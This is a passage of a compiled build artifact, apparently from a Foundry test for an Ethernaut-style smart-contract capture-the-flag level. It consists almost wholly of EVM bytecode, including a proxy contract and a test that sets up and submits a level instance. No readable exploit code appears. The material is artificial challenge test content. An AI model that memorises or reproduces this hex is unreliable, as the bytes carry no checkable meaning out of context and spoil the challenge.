99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220deb4f6d9575bb49da9460cd00fb4fccfa3eba1080b835e32211fe8c7db8debdc64736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;328:1611:150;420:32:154;259:12:155;328:1611:150;420:32:154;410:43;382:71;;328:1611:150;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b64565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001ba7565b620001b3620001fa36600462001c93565b62000a32565b6200020a62000bfd565b604051620001c7919062001d66565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062001e29565b620001da6200025736600462001ef6565b62000eff565b6200019a6200108f565b6200027162001228565b604051620001c7919062001f0e565b620001b36200029136600462001f74565b620012fd565b620002376200141c565b620002b8620002b236600462001f92565b62001516565b6040519015158152602001620001c7565b62000271620016a6565b6200019a6200177b565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001814565b620001da620018cf565b6200019a6200032f36600462001ef6565b6200192f565b601e54620002b89060ff1681565b5f62000350600262000eff565b9050805f8151811062000367576200036762001fce565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001fce565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620012fd565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001b17565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200097691908101906200206f565b90508060018251620009899190620021ff565b815181106200099c576200099c62001fce565b60200260200101515f0151600281518110620009bc57620009bc62001fce565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb919081019062002215565b90505f81848560405160200162000ad492919062002267565b60408051601f198184030181529082905262000af4929160200162002315565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5890859060040162002347565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c919081019062002215565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083620019a390919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c92906200235b565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc0906200235b565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ee657602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f1e5762000f1e62001bf5565b60405190808252806020026020018201604052801562000f48578160200160208202803683370190505b5090505f5b8381101562001088575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f95573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fbb919062002395565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001039575f80fd5b505af11580156200104c573d5f803e3d5ffd5b505050508083838151811062001066576200106662001fce565b6001600160a01b03909216602092830291909101909101525060010162000f4d565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010e6575f80fd5b505af1158015620010f9573d5f803e3d5ffd5b5050602154604051630667f9d760e41b81526001600160a01b039091166004820152600160248201525f9250737109709ecfa91a80626ff3989d68f67f5b1dd12d915063667f9d7090604401602060405180830381865afa15801562001161573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620011879190620023b3565b6021546040517fec9b5b3a000000000000000000000000000000000000000000000000000000008152600481018390529192506001600160a01b03169063ec9b5b3a906024015f604051808303815f87803b158015620011e5575f80fd5b505af1158015620011f8573d5f803e3d5ffd5b50506020546021546200122593506200121f92506001600160a01b03918216911662001516565b62001a45565b50565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200126b906200235b565b80601f016020809104026020016040519081016040528092919081815260200182805462001299906200235b565b8015620012e85780601f10620012be57610100808354040283529160200191620012e8565b820191905f5260205f20905b815481529060010190602001808311620012ca57829003601f168201915b5050505050815260200190600101906200124b565b5f806040516200130d9062001b25565b604051809103905ff08015801562001327573d5f803e3d5ffd5b5090505f604051620013399062001b33565b604051809103905ff08015801562001353573d5f803e3d5ffd5b508483604051620013649062001b41565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200139e573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620013fd575f80fd5b505af115801562001410573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620014fd57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014a95790505b505050505081525050815260200190600101906200143f565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001572575f80fd5b505af115801562001585573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620015e3575f80fd5b505af1158015620015f6573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200165a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200168391908101906200206f565b90506001815111156200169b576001915050620016a0565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620016e9906200235b565b80601f016020809104026020016040519081016040528092919081815260200182805462001717906200235b565b8015620017665780601f106200173c5761010080835404028352916020019162001766565b820191905f5260205f20905b8154815290600101906020018083116200174857829003601f168201915b505050505081526020019060010190620016c9565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620017d2575f80fd5b505af1158015620017e5573d5f803e3d5ffd5b50506020546021546200181293506200180c92506001600160a01b03918216911662001516565b62001ac4565b565b6008545f9060ff16156200182c575060085460ff1690565b604051630667f9d760e41b8152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015620018a2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190620018c89190620023b3565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f6200193c8243620023cb565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019fa9086908690600401620023e1565b5f60405180830381865afa15801562001a15573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001a3e919081019062002412565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001aaa575f80fd5b505afa15801562001abd573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a93565b6105b1806200244983390190565b610ae580620029fa83390190565b611e7a80620034df83390190565b610daa806200535983390190565b6001600160a01b038116811462001225575f80fd5b5f805f6060848603121562001b77575f80fd5b833562001b848162001b4f565b9250602084013562001b968162001b4f565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001be95783516001600160a01b03168352928401929184019160010162001bc2565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001c2f5762001c2f62001bf5565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c615762001c6162001bf5565b604052919050565b5f67ffffffffffffffff82111562001c855762001c8562001bf5565b50601f01601f191660200190565b5f6020828403121562001ca4575f80fd5b813567ffffffffffffffff81111562001cbb575f80fd5b8201601f8101841362001ccc575f80fd5b803562001ce362001cdd8262001c69565b62001c35565b81815285602083850101111562001cf8575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001d3157818101518382015260200162001d17565b50505f910152565b5f815180845262001d5281602086016020860162001d15565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001e1a57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001e0357605f1988850301835262001df084865162001d39565b948d01949350918c019160010162001dd1565b505050968901969350509087019060010162001d8b565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001ee857888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001ed25783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e8e565b5096890196945050509086019060010162001e50565b509098975050505050505050565b5f6020828403121562001f07575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f6757603f1988860301845262001f5485835162001d39565b9450928501929085019060010162001f35565b5092979650505050505050565b5f6020828403121562001f85575f80fd5b813562001a3e8162001b4f565b5f806040838503121562001fa4575f80fd5b823562001fb18162001b4f565b9150602083013562001fc38162001b4f565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001ffe5762001ffe62001bf5565b5060051b60200190565b5f6200201862001cdd8462001c69565b90508281528383830111156200202c575f80fd5b62001a3e83602083018462001d15565b5f82601f8301126200204c575f80fd5b62001a3e8383516020850162002008565b80516200206a8162001b4f565b919050565b5f602080838503121562002081575f80fd5b825167ffffffffffffffff8082111562002099575f80fd5b818501915085601f830112620020ad575f80fd5b8151620020be62001cdd8262001fe2565b81815260059190911b83018401908481019088831115620020dd575f80fd5b8585015b83811015620021de57805185811115620020f9575f80fd5b86016060818c03601f190112156200210f575f80fd5b6200211962001c09565b88820151878111156200212a575f80fd5b8201603f81018d136200213b575f80fd5b898101516200214e62001cdd8262001fe2565b81815260059190911b8201604001908b8101908f8311156200216e575f80fd5b6040840193505b82841015620021905783518252928c0192908c019062002175565b8452505050604082015187811115620021a7575f80fd5b620021b78d8b838601016200203c565b8a83015250620021ca606083016200205d565b6040820152845250918601918601620020e1565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115620016a057620016a0620021eb565b5f6020828403121562002226575f80fd5b815167ffffffffffffffff8111156200223d575f80fd5b8201601f810184136200224e575f80fd5b6200225f8482516020840162002008565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022a081600585016020880162001d15565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022df81600a84016020880162001d15